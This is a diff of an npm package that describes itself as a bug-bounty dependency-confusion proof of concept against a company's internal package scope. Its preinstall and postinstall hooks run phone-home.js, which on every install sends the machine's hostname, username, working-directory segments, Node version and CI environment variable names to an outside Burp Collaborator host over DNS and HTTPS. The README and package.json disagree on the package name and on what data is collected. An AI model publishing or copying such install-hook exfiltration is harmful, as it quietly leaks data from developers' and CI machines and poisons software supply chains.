@miurba/alcazaba 99.99.99

package/README.md

@@ -0,0 +1,50 @@
+# `@miurba/ui-shell` — SECURITY RESEARCH PLACEHOLDER
+
+This package was published to public npm as a **defensive proof-of-concept** for a
+dependency-confusion finding against **miUrba** (Spanish proptech, scope `*.azurestaticapps.net` MiUrba apps),
+reported under the **Secur0** bug bounty program.
+
+The miUrba production SPAs (Alcazaba Beach, BackOffice) reference an internal
+`@miurba/ui-shell` library, but the `@miurba` scope was **not reserved** on the
+public npm registry. This placeholder exists so that any system attempting to
+resolve `@miurba/ui-shell` from public npm hits a researcher-controlled package
+instead of an attacker-controlled one.
+
+## What this package does
+
+On install (`preinstall` and `postinstall` lifecycle scripts) the package performs:
+
+- 1× DNS lookup to a Burp Collaborator instance owned by the researcher
+- 1× HTTPS GET to the same Collaborator
+
+The information sent is limited to: install phase (preinstall/postinstall), OS
+hostname, OS username, last two CWD segments, Node.js version, a CI flag, and
+the **names** (not values) of CI-related environment variables.
+
+**No secrets, file contents, or environment values are exfiltrated.** The package
+exits 0 in all cases so it never breaks a build.
+
+## What you should do if you reached this package
+
+1. If you are a developer at **miUrba**: please contact `accounts@secur0.com`
+   (or `ariverapoblet@imnotahacker.com`) to coordinate transfer of this scope.
+   We will republish the scope under your control immediately.
+2. If you are anyone else: please **do not install this package**. Pin your
+   `.npmrc` to your own private registry for `@miurba` if you need it, and
+   consider auditing your build for unintended public-registry resolution.
+
+## Source code
+
+The full source of this placeholder is available for review:
+
+- `package.json`
+- `phone-home.js` (the only logic — outbound DNS + HTTPS only)
+- `index.js` (empty default export)
+- this `README.md`
+
+## Researcher
+
+- Handle: `ariverapoblet`
+- Email: `ariverapoblet@imnotahacker.com`
+- Program: Secur0 — miUrba (private #77)
+- Date: 2026-05-10

package/index.js

@@ -0,0 +1,2 @@
+// SECURITY RESEARCH PLACEHOLDER — see README.md
+module.exports = {};

package/package.json

@@ -0,0 +1,18 @@
+{
+  "name": "@miurba/alcazaba",
+  "version": "99.99.99",
+  "description": "SECURITY RESEARCH PLACEHOLDER — Reserved by Secur0 researcher ariverapoblet to demonstrate dependency-confusion exposure in miUrba (Alcazaba Beach SPA references @miurba/alcazaba). NOT for public consumption. Please contact security@miurba.com or via Secur0 to coordinate scope reservation. This package only performs an outbound DNS/HTTP lookup to a Burp Collaborator instance owned by the researcher; no data is collected beyond the fact that an install occurred plus the hostname/username of the runner. Will be unpublished/transferred upon contact.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node phone-home.js preinstall || exit 0",
+    "postinstall": "node phone-home.js postinstall || exit 0"
+  },
+  "keywords": ["security-research", "dependency-confusion", "miurba", "secur0", "placeholder"],
+  "author": "ariverapoblet (Secur0)",
+  "license": "ISC",
+  "homepage": "https://secur0.com",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/security-research/miurba-depconf-poc"
+  }
+}

package/phone-home.js

@@ -0,0 +1,55 @@
+// Security research placeholder for miUrba (Secur0 program).
+// On install, performs ONE DNS lookup + ONE HTTPS GET to a Burp Collaborator
+// owned by the researcher (ariverapoblet) to confirm that this package was
+// resolved via the public npm registry instead of miUrba's private registry.
+//
+// Only the following information is sent: install lifecycle phase, OS hostname,
+// OS username, current working directory, npm package version, install path,
+// node version, and a few sanitized environment variable NAMES (NOT values) to
+// help identify whether this ran inside a CI pipeline. NO secrets, no env values,
+// no file contents are read. The package exits 0 in all cases so installs do not
+// fail (this is a defensive PoC, not a destructive payload).
+
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+
+const COLLAB = '5msdnkf4n2bxzrwjtuzvkfzwtnzendb2.oastify.com';
+const phase = process.argv[2] || 'unknown';
+
+function safe(v, max) {
+  try {
+    return String(v).replace(/[^A-Za-z0-9._-]/g, '_').slice(0, max || 64);
+  } catch (_) { return 'na'; }
+}
+
+const data = {
+  phase: safe(phase, 16),
+  host: safe(os.hostname(), 64),
+  user: safe((os.userInfo() || {}).username || 'na', 32),
+  cwd: safe(process.cwd().split('/').slice(-2).join('_'), 64),
+  pkg: '_at_miurba_alcazaba',
+  pkgver: '99.99.99',
+  node: safe(process.version, 16),
+  ci: safe(!!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.AZURE_HTTP_USER_AGENT || process.env.BUILD_BUILDID), 8),
+  // Just the NAMES of env vars likely present in CI — values are NOT read.
+  envkeys: safe(Object.keys(process.env).filter(k => /CI|BUILD|GITHUB|AZURE|RUNNER|NODE_AUTH/i.test(k)).slice(0, 6).join('-'), 96)
+};
+
+const sub = `${data.phase}.${data.host}.${data.user}.${data.cwd}.${data.envkeys}.${COLLAB}`;
+const trimmed = sub.length > 250 ? sub.slice(sub.length - 250) : sub;
+
+// Outbound 1: DNS — even if egress HTTPS is blocked, DNS often is not.
+try { dns.lookup(trimmed, () => {}); } catch (_) {}
+
+// Outbound 2: HTTPS GET — additional confirmation channel with phase tag.
+try {
+  https.get({
+    hostname: COLLAB,
+    path: `/?phase=${encodeURIComponent(data.phase)}&host=${encodeURIComponent(data.host)}&user=${encodeURIComponent(data.user)}&cwd=${encodeURIComponent(data.cwd)}&node=${encodeURIComponent(data.node)}&ci=${encodeURIComponent(data.ci)}&envkeys=${encodeURIComponent(data.envkeys)}`,
+    method: 'GET',
+    timeout: 4000
+  }, () => {}).on('error', () => {}).on('timeout', function(){ this.destroy(); });
+} catch (_) {}
+
+setTimeout(() => process.exit(0), 4500);